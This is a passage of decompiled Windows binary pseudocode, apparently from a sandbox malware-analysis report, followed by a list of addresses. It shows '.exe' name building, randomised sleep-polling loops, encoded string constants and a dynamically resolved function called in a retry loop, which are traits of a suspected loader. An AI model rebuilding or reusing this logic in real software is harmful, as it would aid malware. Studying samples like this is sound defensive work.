																								_t1457 =  *((intOrPtr*)(_t1602 - 4));
																								_t1669 = _t1739 + 0x23;
																								__eflags = _t1235 -  *((intOrPtr*)(_t1602 - 4)) + 0xfffffffc - 0x1f;
																								if(__eflags > 0) {
																									goto L346;
																								} else {
																									goto L186;
																								}
																							}
																						}
																					} else {
																						_t1603 = _v440;
																						_t1753 =  &(_t1738->nLength);
																						_t1239 = _t1603;
																						__eflags = _t1753 - 0x1000;
																						if(_t1753 < 0x1000) {
																							L182:
																							_push(_t1753);
																							E0040F1B0(_t1603);
																							_t1840 = _t1840 + 8;
																							goto L183;
																						} else {
																							_t1457 =  *((intOrPtr*)(_t1603 - 4));
																							_t1669 = _t1753 + 0x23;
																							__eflags = _t1239 -  *((intOrPtr*)(_t1603 - 4)) + 0xfffffffc - 0x1f;
																							if(__eflags > 0) {
																								goto L346;
																							} else {
																								goto L182;
																							}
																						}
																					}
																				} else {
																					_t1604 = _v488;
																					_t1754 = _t1737 + 1;
																					_t1243 = _t1604;
																					__eflags = _t1754 - 0x1000;
																					if(_t1754 < 0x1000) {
																						L178:
																						_push(_t1754);
																						E0040F1B0(_t1604);
																						_t1840 = _t1840 + 8;
																						goto L179;
																					} else {
																						_t1457 =  *((intOrPtr*)(_t1604 - 4));
																						_t1669 = _t1754 + 0x23;
																						__eflags = _t1243 -  *((intOrPtr*)(_t1604 - 4)) + 0xfffffffc - 0x1f;
																						if(__eflags > 0) {
																							goto L346;
																						} else {
																							goto L178;
																						}
																					}
																				}
																			} else {
																				_push(_t1582);
																				_t1255 = E0040CB20( &_v440,  &_v408);
																				_v28 = 0xf;
																				_t1256 = E0040CD40( &_v488, _t1255,  &_v360);
																				_t1840 = _t1879 + 8;
																				_t1609 = _t1256;
																				_v28 = 0x10;
																				_t1796 =  *(_t1609 + 0x14);
																				_t1757 =  *(_t1609 + 0x10);
																				__eflags = _t1796 - _t1757 - 4;
																				if(_t1796 - _t1757 < 4) {
																					_v412 = 0;
																					_t1609 = E00402980(_t1399, _t1609, _t1796, _t1802, 4, _v412, ".exe", 4);
																				} else {
																					 *(_t1609 + 0x10) =  &(_t1757->lpSecurityDescriptor);
																					_t1276 = _t1609;
																					__eflags = _t1796 - 0x10;
																					if(_t1796 >= 0x10) {
																						_t1276 =  *_t1609;
																					}
																					 *((intOrPtr*)(_t1276 + _t1757)) = 0x6578652e;
																					 *((char*)(_t1276 +  &(_t1757->lpSecurityDescriptor))) = 0;
																				}
																				 *_t1802 = 0;
																				 *(_t1802 + 0x10) = 0;
																				 *(_t1802 + 0x14) = 0;
																				asm("movups xmm0, [ecx]");
																				asm("movups [esi], xmm0");
																				asm("movq xmm0, [ecx+0x10]");
																				asm("movq [esi+0x10], xmm0");
																				 *(_t1609 + 0x10) = 0;
																				 *(_t1609 + 0x14) = 0xf;
																				 *_t1609 = 0;
																				_t1758 = _v468;
																				__eflags = _t1758 - 0x10;
																				if(_t1758 < 0x10) {
																					L153:
																					_t1759 = _v420;
																					_v472 = 0;
																					_v468 = 0xf;
																					_v488 = 0;
																					__eflags = _t1759 - 0x10;
																					if(_t1759 < 0x10) {
																						L157:
																						_t1760 = _v340;
																						_v424 = 0;
																						_v420 = 0xf;
																						_v440 = 0;
																						__eflags = _t1760 - 0x10;
																						if(_t1760 < 0x10) {
																							L161:
																							_t1761 = _v364;
																							_v344 = 0;
																							_v340 = 0xf;
																							_v360 = 0;
																							__eflags = _t1761 - 0x10;
																							if(_t1761 < 0x10) {
																								goto L71;
																							} else {
																								_t1598 = _v384;
																								_t1749 = _t1761 + 1;
																								_t1260 = _t1598;
																								__eflags = _t1749 - 0x1000;
																								if(_t1749 < 0x1000) {
																									goto L70;
																								} else {
																									_t1457 =  *((intOrPtr*)(_t1598 - 4));
																									_t1669 = _t1749 + 0x23;
																									__eflags = _t1260 -  *((intOrPtr*)(_t1598 - 4)) + 0xfffffffc - 0x1f;
																									if(__eflags > 0) {
																										goto L346;
																									} else {
																										goto L70;
																									}
																								}
																							}
																						} else {
																							_t1610 = _v360;
																							_t1762 = _t1760 + 1;
																							_t1263 = _t1610;
																							__eflags = _t1762 - 0x1000;
																							if(_t1762 < 0x1000) {
																								L160:
																								_push(_t1762);
																								E0040F1B0(_t1610);
																								_t1840 = _t1840 + 8;
																								goto L161;
																							} else {
																								_t1457 =  *((intOrPtr*)(_t1610 - 4));
																								_t1669 = _t1762 + 0x23;
																								__eflags = _t1263 -  *((intOrPtr*)(_t1610 - 4)) + 0xfffffffc - 0x1f;
																								if(__eflags > 0) {
																									goto L346;
																								} else {
																									goto L160;
																								}
																							}
																						}
																					} else {
																						_t1611 = _v440;
																						_t1763 =  &(_t1759->nLength);
																						_t1267 = _t1611;
																						__eflags = _t1763 - 0x1000;
																						if(_t1763 < 0x1000) {
																							L156:
																							_push(_t1763);
																							E0040F1B0(_t1611);
																							_t1840 = _t1840 + 8;
																							goto L157;
																						} else {
																							_t1457 =  *((intOrPtr*)(_t1611 - 4));
																							_t1669 = _t1763 + 0x23;
																							__eflags = _t1267 -  *((intOrPtr*)(_t1611 - 4)) + 0xfffffffc - 0x1f;
																							if(__eflags > 0) {
																								goto L346;
																							} else {
																								goto L156;
																							}
																						}
																					}
																				} else {
																					_t1612 = _v488;
																					_t1764 = _t1758 + 1;
																					_t1271 = _t1612;
																					__eflags = _t1764 - 0x1000;
																					if(_t1764 < 0x1000) {
																						L152:
																						_push(_t1764);
																						E0040F1B0(_t1612);
																						_t1840 = _t1840 + 8;
																						goto L153;
																					} else {
																						_t1457 =  *((intOrPtr*)(_t1612 - 4));
																						_t1669 = _t1764 + 0x23;
																						__eflags = _t1271 -  *((intOrPtr*)(_t1612 - 4)) + 0xfffffffc - 0x1f;
																						if(__eflags > 0) {
																							goto L346;
																						} else {
																							goto L152;
																						}
																					}
																				}
																			}
																		} else {
																			_t1613 = _v464;
																			_t1733 =  &(_t1733->nLength);
																			_t1277 = _t1613;
																			__eflags = _t1733 - 0x1000;
																			if(_t1733 < 0x1000) {
																				L142:
																				_push(_t1733);
																				E0040F1B0(_t1613);
																				_t1840 = _t1840 + 8;
																				goto L143;
																			} else {
																				_t1457 =  *((intOrPtr*)(_t1613 - 4));
																				_t1669 = _t1733 + 0x23;
																				__eflags = _t1277 -  *((intOrPtr*)(_t1613 - 4)) + 0xfffffffc - 0x1f;
																				if(__eflags > 0) {
																					goto L346;
																				} else {
																					goto L142;
																				}
																			}
																		}
																	} else {
																		_t1614 = _v440;
																		_t1765 =  &(_t1732->nLength);
																		_t1281 = _t1614;
																		__eflags = _t1765 - 0x1000;
																		if(_t1765 < 0x1000) {
																			L138:
																			_push(_t1765);
																			E0040F1B0(_t1614);
																			_t1840 = _t1840 + 8;
																			goto L139;
																		} else {
																			_t1457 =  *((intOrPtr*)(_t1614 - 4));
																			_t1669 = _t1765 + 0x23;
																			__eflags = _t1281 -  *((intOrPtr*)(_t1614 - 4)) + 0xfffffffc - 0x1f;
																			if(__eflags > 0) {
																				goto L346;
																			} else {
																				goto L138;
																			}
																		}
																	}
																} else {
																	_t1615 = _v488;
																	_t1766 = _t1731 + 1;
																	_t1285 = _t1615;
																	__eflags = _t1766 - 0x1000;
																	if(_t1766 < 0x1000) {
																		L134:
																		_push(_t1766);
																		E0040F1B0(_t1615);
																		_t1840 = _t1840 + 8;
																		goto L135;
																	} else {
																		_t1457 =  *((intOrPtr*)(_t1615 - 4));
																		_t1669 = _t1766 + 0x23;
																		__eflags = _t1285 -  *((intOrPtr*)(_t1615 - 4)) + 0xfffffffc - 0x1f;
																		if(__eflags > 0) {
																			goto L346;
																		} else {
																			goto L134;
																		}
																	}
																}
															} else {
																_push(_t1573);
																_t1299 = E0040CB20( &_v464,  &_v408);
																_v28 = 0xa;
																_t1300 = E0040CD40( &_v440, _t1299,  &_v360);
																_t1840 = _t1876 + 8;
																_t1619 = _t1300;
																_v28 = 0xb;
																_t1796 =  *(_t1619 + 0x14);
																_t1769 =  *(_t1619 + 0x10);
																__eflags = _t1796 - _t1769 - 4;
																if(_t1796 - _t1769 < 4) {
																	_v412 = 0;
																	_t1619 = E00402980(_t1399, _t1619, _t1796, _t1802, 4, _v412, ".exe", 4);
																} else {
																	 *(_t1619 + 0x10) =  &(_t1769->lpSecurityDescriptor);
																	_t1320 = _t1619;
																	__eflags = _t1796 - 0x10;
																	if(_t1796 >= 0x10) {
																		_t1320 =  *_t1619;
																	}
																	 *((intOrPtr*)(_t1320 + _t1769)) = 0x6578652e;
																	 *((char*)(_t1320 +  &(_t1769->lpSecurityDescriptor))) = 0;
																}
																 *_t1802 = 0;
																 *(_t1802 + 0x10) = 0;
																 *(_t1802 + 0x14) = 0;
																asm("movups xmm0, [ecx]");
																asm("movups [esi], xmm0");
																asm("movq xmm0, [ecx+0x10]");
																asm("movq [esi+0x10], xmm0");
																 *(_t1619 + 0x10) = 0;
																 *(_t1619 + 0x14) = 0xf;
																 *_t1619 = 0;
																_t1770 = _v420;
																__eflags = _t1770 - 0x10;
																if(_t1770 < 0x10) {
																	L108:
																	_t1771 = _v444;
																	_v424 = 0;
																	_v420 = 0xf;
																	_v440 = 0;
																	__eflags = _t1771 - 0x10;
																	if(_t1771 < 0x10) {
																		L112:
																		_t1772 = _v340;
																		_v448 = 0;
																		_v444 = 0xf;
																		_v464 = 0;
																		__eflags = _t1772 - 0x10;
																		if(_t1772 < 0x10) {
																			L116:
																			_t1773 = _v364;
																			_v344 = 0;
																			_v340 = 0xf;
																			_v360 = 0;
																			__eflags = _t1773 - 0x10;
																			if(_t1773 < 0x10) {
																				goto L71;
																			} else {
																				_t1598 = _v384;
																				_t1749 = _t1773 + 1;
																				_t1304 = _t1598;
																				__eflags = _t1749 - 0x1000;
																				if(_t1749 < 0x1000) {
																					goto L70;
																				} else {
																					_t1457 =  *((intOrPtr*)(_t1598 - 4));
																					_t1669 = _t1749 + 0x23;
																					__eflags = _t1304 -  *((intOrPtr*)(_t1598 - 4)) + 0xfffffffc - 0x1f;
																					if(__eflags > 0) {
																						goto L346;
																					} else {
																						goto L70;
																					}
																				}
																			}
																		} else {
																			_t1620 = _v360;
																			_t1774 = _t1772 + 1;
																			_t1307 = _t1620;
																			__eflags = _t1774 - 0x1000;
																			if(_t1774 < 0x1000) {
																				L115:
																				_push(_t1774);
																				E0040F1B0(_t1620);
																				_t1840 = _t1840 + 8;
																				goto L116;
																			} else {
																				_t1457 =  *((intOrPtr*)(_t1620 - 4));
																				_t1669 = _t1774 + 0x23;
																				__eflags = _t1307 -  *((intOrPtr*)(_t1620 - 4)) + 0xfffffffc - 0x1f;
																				if(__eflags > 0) {
																					goto L346;
																				} else {
																					goto L115;
																				}
																			}
																		}
																	} else {
																		_t1621 = _v464;
																		_t1775 =  &(_t1771->nLength);
																		_t1311 = _t1621;
																		__eflags = _t1775 - 0x1000;
																		if(_t1775 < 0x1000) {
																			L111:
																			_push(_t1775);
																			E0040F1B0(_t1621);
																			_t1840 = _t1840 + 8;
																			goto L112;
																		} else {
																			_t1457 =  *((intOrPtr*)(_t1621 - 4));
																			_t1669 = _t1775 + 0x23;
																			__eflags = _t1311 -  *((intOrPtr*)(_t1621 - 4)) + 0xfffffffc - 0x1f;
																			if(__eflags > 0) {
																				goto L346;
																			} else {
																				goto L111;
																			}
																		}
																	}
																} else {
																	_t1622 = _v440;
																	_t1776 =  &(_t1770->nLength);
																	_t1315 = _t1622;
																	__eflags = _t1776 - 0x1000;
																	if(_t1776 < 0x1000) {
																		L107:
																		_push(_t1776);
																		E0040F1B0(_t1622);
																		_t1840 = _t1840 + 8;
																		goto L108;
																	} else {
																		_t1457 =  *((intOrPtr*)(_t1622 - 4));
																		_t1669 = _t1776 + 0x23;
																		__eflags = _t1315 -  *((intOrPtr*)(_t1622 - 4)) + 0xfffffffc - 0x1f;
																		if(__eflags > 0) {
																			goto L346;
																		} else {
																			goto L107;
																		}
																	}
																}
															}
														} else {
															_t1623 = _v336;
															_t1727 =  &(1[_t1727]);
															_t1321 = _t1623;
															__eflags = _t1727 - 0x1000;
															if(_t1727 < 0x1000) {
																L97:
																_push(_t1727);
																E0040F1B0(_t1623);
																_t1840 = _t1840 + 8;
																goto L98;
															} else {
																_t1457 =  *((intOrPtr*)(_t1623 - 4));
																_t1669 = _t1727 + 0x23;
																__eflags = _t1321 -  *((intOrPtr*)(_t1623 - 4)) + 0xfffffffc - 0x1f;
																if(__eflags > 0) {
																	goto L347;
																} else {
																	goto L97;
																}
															}
														}
													} else {
														_t1624 = _v464;
														_t1777 =  &(_t1726->nLength);
														_t1325 = _t1624;
														__eflags = _t1777 - 0x1000;
														if(_t1777 < 0x1000) {
															L93:
															_push(_t1777);
															E0040F1B0(_t1624);
															_t1840 = _t1840 + 8;
															goto L94;
														} else {
															_t1457 =  *((intOrPtr*)(_t1624 - 4));
															_t1669 = _t1777 + 0x23;
															__eflags = _t1325 -  *((intOrPtr*)(_t1624 - 4)) + 0xfffffffc - 0x1f;
															if(__eflags > 0) {
																goto L347;
															} else {
																goto L93;
															}
														}
													}
												} else {
													_t1625 = _v440;
													_t1778 =  &(_t1725->nLength);
													_t1329 = _t1625;
													__eflags = _t1778 - 0x1000;
													if(_t1778 < 0x1000) {
														L89:
														_push(_t1778);
														E0040F1B0(_t1625);
														_t1840 = _t1840 + 8;
														goto L90;
													} else {
														_t1457 =  *((intOrPtr*)(_t1625 - 4));
														_t1669 = _t1778 + 0x23;
														__eflags = _t1329 -  *((intOrPtr*)(_t1625 - 4)) + 0xfffffffc - 0x1f;
														if(__eflags > 0) {
															goto L347;
														} else {
															goto L89;
														}
													}
												}
											} else {
												_push(_t1564);
												_t1341 = E0040CB20( &_v464,  &_v408);
												_v28 = 5;
												_t1342 = E0040CD40( &_v440, _t1341,  &_v360);
												_t1840 = _t1873 + 8;
												_t1629 = _t1342;
												_v28 = 6;
												_t1796 =  *(_t1629 + 0x14);
												_t1781 =  *(_t1629 + 0x10);
												__eflags = _t1796 - _t1781 - 4;
												if(_t1796 - _t1781 < 4) {
													_v412 = 0;
													_t1629 = E00402980(_t1399, _t1629, _t1796, _t1802, 4, _v412, ".exe", 4);
												} else {
													 *(_t1629 + 0x10) =  &(_t1781->lpSecurityDescriptor);
													_t1362 = _t1629;
													__eflags = _t1796 - 0x10;
													if(_t1796 >= 0x10) {
														_t1362 =  *_t1629;
													}
													 *((intOrPtr*)(_t1362 + _t1781)) = 0x6578652e;
													 *((char*)(_t1362 +  &(_t1781->lpSecurityDescriptor))) = 0;
												}
												 *_t1802 = 0;
												 *(_t1802 + 0x10) = 0;
												 *(_t1802 + 0x14) = 0;
												asm("movups xmm0, [ecx]");
												asm("movups [esi], xmm0");
												asm("movq xmm0, [ecx+0x10]");
												asm("movq [esi+0x10], xmm0");
												 *(_t1629 + 0x10) = 0;
												 *(_t1629 + 0x14) = 0xf;
												 *_t1629 = 0;
												_t1782 = _v420;
												__eflags = _t1782 - 0x10;
												if(_t1782 < 0x10) {
													L59:
													_t1783 = _v444;
													_v424 = 0;
													_v420 = 0xf;
													_v440 = 0;
													__eflags = _t1783 - 0x10;
													if(_t1783 < 0x10) {
														L63:
														_t1784 = _v340;
														_v448 = 0;
														_v444 = 0xf;
														_v464 = 0;
														__eflags = _t1784 - 0x10;
														if(_t1784 < 0x10) {
															L67:
															_t1785 = _v364;
															_v344 = 0;
															_v340 = 0xf;
															_v360 = 0;
															__eflags = _t1785 - 0x10;
															if(_t1785 < 0x10) {
																L71:
																_v368 = 0;
																_v364 = 0xf;
																_v384 = 0;
																L72:
																_t1669 = _v388;
																__eflags = _t1669 - 0x10;
																if(_t1669 < 0x10) {
																	L344:
																	 *[fs:0x0] = _v36;
																	_pop(_t1797);
																	_pop(_t1803);
																	__eflags = _v44 ^ _t1814;
																	return E0040EF6F(_t1802, _t1399, _v44 ^ _t1814, _t1669, _t1797, _t1803);
																} else {
																	_t1534 = _v408;
																	_t1669 =  &(1[_t1669]);
																	_t1056 = _t1534;
																	__eflags = _t1669 - 0x1000;
																	if(_t1669 < 0x1000) {
																		L307:
																		_push(_t1669);
																		E0040F1B0(_t1534);
																		goto L344;
																	} else {
																		_t1457 =  *((intOrPtr*)(_t1534 - 4));
																		_t1669 = _t1669 + 0x23;
																		__eflags = _t1056 -  *((intOrPtr*)(_t1534 - 4)) + 0xfffffffc - 0x1f;
																		if(__eflags > 0) {
																			goto L346;
																		} else {
																			goto L307;
																		}
																	}
																}
															} else {
																_t1598 = _v384;
																_t1749 = _t1785 + 1;
																_t1346 = _t1598;
																__eflags = _t1749 - 0x1000;
																if(_t1749 < 0x1000) {
																	L70:
																	_push(_t1749);
																	E0040F1B0(_t1598);
																	_t1840 = _t1840 + 8;
																	goto L71;
																} else {
																	_t1457 =  *((intOrPtr*)(_t1598 - 4));
																	_t1669 = _t1749 + 0x23;
																	__eflags = _t1346 -  *((intOrPtr*)(_t1598 - 4)) + 0xfffffffc - 0x1f;
																	if(__eflags > 0) {
																		goto L346;
																	} else {
																		goto L70;
																	}
																}
															}
														} else {
															_t1630 = _v360;
															_t1786 = _t1784 + 1;
															_t1349 = _t1630;
															__eflags = _t1786 - 0x1000;
															if(_t1786 < 0x1000) {
																L66:
																_push(_t1786);
																E0040F1B0(_t1630);
																_t1840 = _t1840 + 8;
																goto L67;
															} else {
																_t1457 =  *((intOrPtr*)(_t1630 - 4));
																_t1669 = _t1786 + 0x23;
																__eflags = _t1349 -  *((intOrPtr*)(_t1630 - 4)) + 0xfffffffc - 0x1f;
																if(__eflags > 0) {
																	goto L346;
																} else {
																	goto L66;
																}
															}
														}
													} else {
														_t1631 = _v464;
														_t1787 =  &(_t1783->nLength);
														_t1353 = _t1631;
														__eflags = _t1787 - 0x1000;
														if(_t1787 < 0x1000) {
															L62:
															_push(_t1787);
															E0040F1B0(_t1631);
															_t1840 = _t1840 + 8;
															goto L63;
														} else {
															_t1457 =  *((intOrPtr*)(_t1631 - 4));
															_t1669 = _t1787 + 0x23;
															__eflags = _t1353 -  *((intOrPtr*)(_t1631 - 4)) + 0xfffffffc - 0x1f;
															if(__eflags > 0) {
																goto L346;
															} else {
																goto L62;
															}
														}
													}
												} else {
													_t1632 = _v440;
													_t1788 =  &(_t1782->nLength);
													_t1357 = _t1632;
													__eflags = _t1788 - 0x1000;
													if(_t1788 < 0x1000) {
														L58:
														_push(_t1788);
														E0040F1B0(_t1632);
														_t1840 = _t1840 + 8;
														goto L59;
													} else {
														_t1457 =  *((intOrPtr*)(_t1632 - 4));
														_t1669 = _t1788 + 0x23;
														__eflags = _t1357 -  *((intOrPtr*)(_t1632 - 4)) + 0xfffffffc - 0x1f;
														if(__eflags > 0) {
															goto L346;
														} else {
															goto L58;
														}
													}
												}
											}
										} else {
											_t1633 = _v488;
											_t1721 = _t1721 + 1;
											_t1363 = _t1633;
											__eflags = _t1721 - 0x1000;
											if(_t1721 < 0x1000) {
												L48:
												_push(_t1721);
												E0040F1B0(_t1633);
												_t1840 = _t1840 + 8;
												goto L49;
											} else {
												_t1457 =  *((intOrPtr*)(_t1633 - 4));
												_t1669 = _t1721 + 0x23;
												__eflags = _t1363 -  *((intOrPtr*)(_t1633 - 4)) + 0xfffffffc - 0x1f;
												if(__eflags > 0) {
													goto L345;
												} else {
													goto L48;
												}
											}
										}
									} else {
										_t1634 = _v440;
										_t1789 =  &(_t1720->nLength);
										_t1368 = _t1634;
										__eflags = _t1789 - 0x1000;
										if(_t1789 < 0x1000) {
											L44:
											_push(_t1789);
											E0040F1B0(_t1634);
											_t1840 = _t1840 + 8;
											goto L45;
										} else {
											_t1457 =  *((intOrPtr*)(_t1634 - 4));
											_t1669 = _t1789 + 0x23;
											__eflags = _t1368 -  *((intOrPtr*)(_t1634 - 4)) + 0xfffffffc - 0x1f;
											if(__eflags > 0) {
												L345:
												E004138D7(_t1399, _t1669, __eflags);
												L346:
												E004138D7(_t1399, _t1669, __eflags);
												L347:
												E004138D7(_t1399, _t1669, __eflags);
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												_push(_t1814);
												_t1816 = _t1840;
												_push(0xffffffff);
												_push(0x42cdd7);
												_push( *[fs:0x0]);
												_t1848 = _t1840 - 0x4dc;
												_t942 =  *0x43d054; // 0xd71f2cec
												_t943 = _t942 ^ _t1816;
												_v628 = _t943;
												_push(_t1399);
												_push(_t1802);
												_push(_t1796);
												_push(_t943);
												 *[fs:0x0] =  &_v624;
												_v616 = 0;
												_t945 = E00405F40(_t1399, _t1796); // executed
												_t1401 = Sleep;
												__eflags = _t945;
												if(__eflags != 0) {
													_t1802 = 0x7d0;
													do {
														_t1026 = E004181A9(_t1457, __eflags);
														asm("cdq");
														_t1669 = _t1026 % 0x7d0 + 0x3e8;
														Sleep(_t1026 % 0x7d0 + 0x3e8);
														__eflags = E00405F40(Sleep, _t1796);
													} while (__eflags != 0);
												}
												E00401960( &_v772, "1"); // executed
												_v32 = 1;
												_t1798 = E00402510( &_v1164, E0040BCA0(E004092F0(_t1401, _t1669, _t1796, _t1802)));
												_v32 = 2;
												_t1804 = E00402510( &_v1140, E0040BB80(E00409240(_t1669, _t949, _t1802)));
												_v32 = 3;
												L383();
												_t954 = E00402510( &_v1284, E0040BAF0(_t952));
												_v32 = 4;
												_t955 = E0040CCE0( &_v1260, 0x450e5c, _t954);
												_v32 = 5;
												_t956 = E0040CD40( &_v1236, _t955,  &_v20);
												_v32 = 6;
												_t957 = E0040CDF0( &_v1212, _t956, _t952);
												_v32 = 7;
												_t958 = E0040CDF0( &_v1188, _t957, _t949);
												_v32 = 8;
												E0040CD40( &_v116, _t958, 0x450e44);
												_t1854 = _t1848 - 0x10 + 0x14;
												E00402440(_t1401,  &_v1188);
												E00402440(_t1401,  &_v1212);
												E00402440(_t1401,  &_v1236);
												E00402440(_t1401,  &_v1260);
												E00402440(_t1401,  &_v1284);
												E00402440(_t1401,  &_v1140);
												_v32 = 0x10;
												E00402440(_t1401,  &_v1164);
												while(1) {
													_t968 = E00402300(_t1401,  &_v772, _t1798, E00402400( &_v116)); // executed
													__eflags = _t968;
													if(_t968 == 0) {
														goto L356;
													}
													E00402510( &_v68, E00402370( &_v772));
													_t1678 = "0";
													_t971 = E00402800( &_v68, "0");
													__eflags = _t971;
													if(_t971 == 0) {
														_t1678 = "1";
														_t1024 = E00402800( &_v68, "1");
														__eflags = _t1024;
														if(_t1024 == 0) {
															E00402440(_t1401,  &_v68);
															goto L356;
														}
													}
													E00402440(_t1401,  &_v68);
													E0040BF20( &_v92);
													_t1855 = _t1854 - 0x10;
													_v32 = 0x11;
													E00401960( &_v1100, "0"); // executed
													_v32 = 0x12;
													while(1) {
														_t977 = E00402510( &_v1140, E0040BC40(E00409380(_t1401, _t1678, _t1798, _t1804)));
														_t1678 = 0x450e74;
														_v32 = 0x15;
														_t978 = E0040CCE0( &_v1164, 0x450e74, _t977);
														_t1855 = _t1855 + 4;
														_v32 = 0x16;
														_t980 = E00402300(_t1401,  &_v1100, _t1798, E00402400(_t978)); // executed
														_t1804 = _t980;
														E00402440(_t1401,  &_v1164);
														_v32 = 0x12;
														E00402440(_t1401,  &_v1140);
														__eflags = _t980;
														if(_t980 == 0) {
															goto L361;
														}
														E00402410( &_v92, E00402370( &_v1100));
														_t985 = E004023F0( &_v92);
														__eflags = _t985 - 0xa;
														if(_t985 <= 0xa) {
															goto L361;
														}
														__eflags = _t985 - 0x64;
														if(_t985 >= 0x64) {
															goto L361;
														}
														_t1856 = _t1855 - 0x10;
														_t1805 = 0;
														__eflags = 0;
														E00401960( &_v444, "1"); // executed
														_v32 = 0x17;
														do {
															_v1116 = _t1805 + 1;
															_t989 = E00402510( &_v1140, E0040BAC0(E00409410(_t1678, _t1798, _t1805 + 1)));
															_t1678 = 0x450e74;
															_v32 = 0x1a;
															_t990 = E0040CCE0( &_v1164, 0x450e74, _t989);
															_t1856 = _t1856 + 4;
															_v32 = 0x1b;
															_t992 = E00402300(_t1401,  &_v444, _t1798, E00402400(_t990)); // executed
															E00402440(_t1401,  &_v1164);
															_v32 = 0x17;
															E00402440(_t1401,  &_v1140);
															__eflags = _t992;
															if(_t992 == 0) {
																goto L366;
															} else {
																_t1401 = E00402380( &_v444);
																__eflags = _t1401 - 0x16;
																if(__eflags <= 0) {
																	goto L366;
																} else {
																	_push( ~(0 | __eflags > 0x00000000) |  &(1[_t1401]));
																	_t1008 = E0041669E();
																	_t818 =  &(1[_t1401]); // 0x1
																	_t1798 = _t1008;
																	_t1009 = E00402340( &_v444, _t1008, _t818);
																	_push( ~(0 | __eflags > 0x00000000) | _t1401 * 0x00000002); // executed
																	_t1012 = E0041669E(); // executed
																	_t1862 = _t1856 + 4 - 0x14;
																	_v1104 = _t1012;
																	E0040BF40(_t1401, _t1862, _t1401 * 2 >> 0x20, _t1008,  &_v92);
																	_push( &_v1104);
																	_t1016 = E00403770(_t1401, _t1008, _t1009, _t1798); // executed
																	_t1678 = _t1016;
																	_t1017 = E00402B60(_v1104, _t1016, __eflags,  &_v1112,  &_v1112); // executed
																	_t1856 = _t1862 + 0x24;
																	_v1108 = _t1017;
																	__eflags = _v1112;
																	if(_v1112 != 0) {
																		_t1798 = Sleep;
																		_t1805 = 0;
																		_v1104 = 0;
																		_t1401 = 0;
																		__eflags = 0;
																		do {
																			_t1523 = _v1108(E00402400(0x450e8c), E00402400(0x450e14));
																			_t1856 = _t1856 + 8;
																			_t1021 = _v1104;
																			_t1678 = 1;
																			__eflags = _t1021;
																			if(_t1021 != 0) {
																				__eflags = _t1523;
																				_t1401 =  ==  ? 1 : _t1401 & 0x000000ff;
																			}
																			__eflags = _t1805 - 0xa;
																			if(_t1805 >= 0xa) {
																				__eflags = _t1523 - 1;
																				_t1401 =  !=  ? _t1678 : _t1401 & 0x000000ff;
																			}
																			__eflags = _t1805 - 0xf;
																			if(_t1805 < 0xf) {
																				__eflags = _t1805 - 5;
																				if(_t1805 < 5) {
																					goto L379;
																				} else {
																					goto L377;
																				}
																			} else {
																				__eflags = _t1523 - 1;
																				if(_t1523 == 1) {
																					_t1401 = _t1523;
																				}
																				L377:
																				__eflags = _t1021;
																				if(_t1021 != 0) {
																					goto L379;
																				} else {
																					__eflags = _t1523 - 0xfffffffe;
																					if(__eflags == 0) {
																						Sleep(0x7d0); // executed
																					} else {
																						goto L379;
																					}
																				}
																			}
																			goto L382;
																			L379:
																			__eflags = _t1523 - 1;
																			_t1023 =  ==  ? _t1678 : _t1021 & 0x000000ff;
																			_t1805 = _t1805 + 1;
																			_v1104 =  ==  ? _t1678 : _t1021 & 0x000000ff;
																			Sleep(0x7d0); // executed
																			__eflags = _t1401;
																		} while (__eflags == 0);
																	} else {
																		goto L366;
																	}
																}
															}
															L382:
															E004054C0(_t1401, __eflags); // executed
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															_push(_t1816);
															_t1817 = _t1856;
															_t996 =  *0x43d054; // 0xd71f2cec
															_v1892 = _t996 ^ _t1817;
															asm("movaps xmm0, [0x439d70]");
															asm("movups [ebp-0x24], xmm0");
															_v1908 = 0x5a405b41;
															_t1504 =  *( *[fs:0x2c]);
															_t999 =  *0x450f68; // 0x8000001a
															_v1904 = 0x5e465e00;
															_v1900 = 0x4c5b5d11;
															_v1896 = 0x2e13;
															__eflags = _t999 -  *((intOrPtr*)(_t1504 + 4));
															if(_t999 >  *((intOrPtr*)(_t1504 + 4))) {
																E0040F2F9(_t999, 0x450f68);
																__eflags =  *0x450f68 - 0xffffffff;
																if( *0x450f68 == 0xffffffff) {
																	E0040BB20(0x450dd0,  &_v68);
																	E0040F60B(0x450dd0, __eflags, 0x42d8b0);
																	E0040F2AF(0x450f68);
																}
															}
															__eflags = _v36 ^ _t1817;
															return E0040EF6F(0x450dd0, _t1401, _v36 ^ _t1817, _t1678, _t1798, _t1805);
															goto L387;
															L366:
															_t1805 = _v1116;
															__eflags = _t1805 - 0xa;
														} while (__eflags < 0);
														goto L382;
														L361:
														Sleep(0xbb8);
													}
													L356:
													Sleep(0xbb8);
												}
											} else {
												goto L44;
											}
										}
									}
								}
							} else {
								goto L25;
							}
						}
					}
				}
				L387:
			}

0x00406800
0x00406800
0x00406800
0x00406800
0x00406801
0x00406809
0x00406810
0x00406814
0x00406816
0x00406818
0x00406823
0x00406824
0x00406825
0x00406828
0x00406829
0x00406830
0x00406834
0x0040683a
0x0040684a
0x0040684f
0x00406857
0x0040686a
0x00406871
0x00406879
0x00406883
0x00406888
0x0040688b
0x0040688d
0x00406891
0x00406896
0x0040689e
0x004068c4
0x004068d2
0x004068a0
0x004068a3
0x004068a6
0x004068ab
0x004068ad
0x004068ad
0x004068af
0x004068b6
0x004068b6
0x004068d4
0x004068df
0x004068e3
0x004068e8
0x004068ed
0x004068f4
0x004068fb
0x00406902
0x00406907
0x0040690c
0x0040690f
0x00406912
0x00406917
0x00406945
0x00406945
0x00406948
0x0040694f
0x00406956
0x0040695d
0x0040698b
0x0040698b
0x0040698e
0x00406995
0x0040699c
0x004069a3
0x004069d1
0x004069d1
0x004069d8
0x004069df
0x004069e3
0x004069e5
0x00000000
0x004069e7
0x004069f4
0x004069f9
0x004069fa
0x004069ff
0x00406a02
0x00406a02
0x00000000
0x004069a5
0x004069a5
0x004069a8
0x004069a9
0x004069b1
0x004069c7
0x004069c7
0x004069c9
0x004069ce
0x00000000
0x004069b3
0x004069b3
0x004069b6
0x004069c1
0x00000000
0x00000000
0x00000000
0x00000000
0x004069c1
0x004069b1
0x0040695f
0x0040695f
0x00406962
0x00406963
0x0040696b
0x00406981
0x00406981
0x00406983
0x00406988
0x00000000
0x0040696d
0x0040696d
0x00406970
0x0040697b
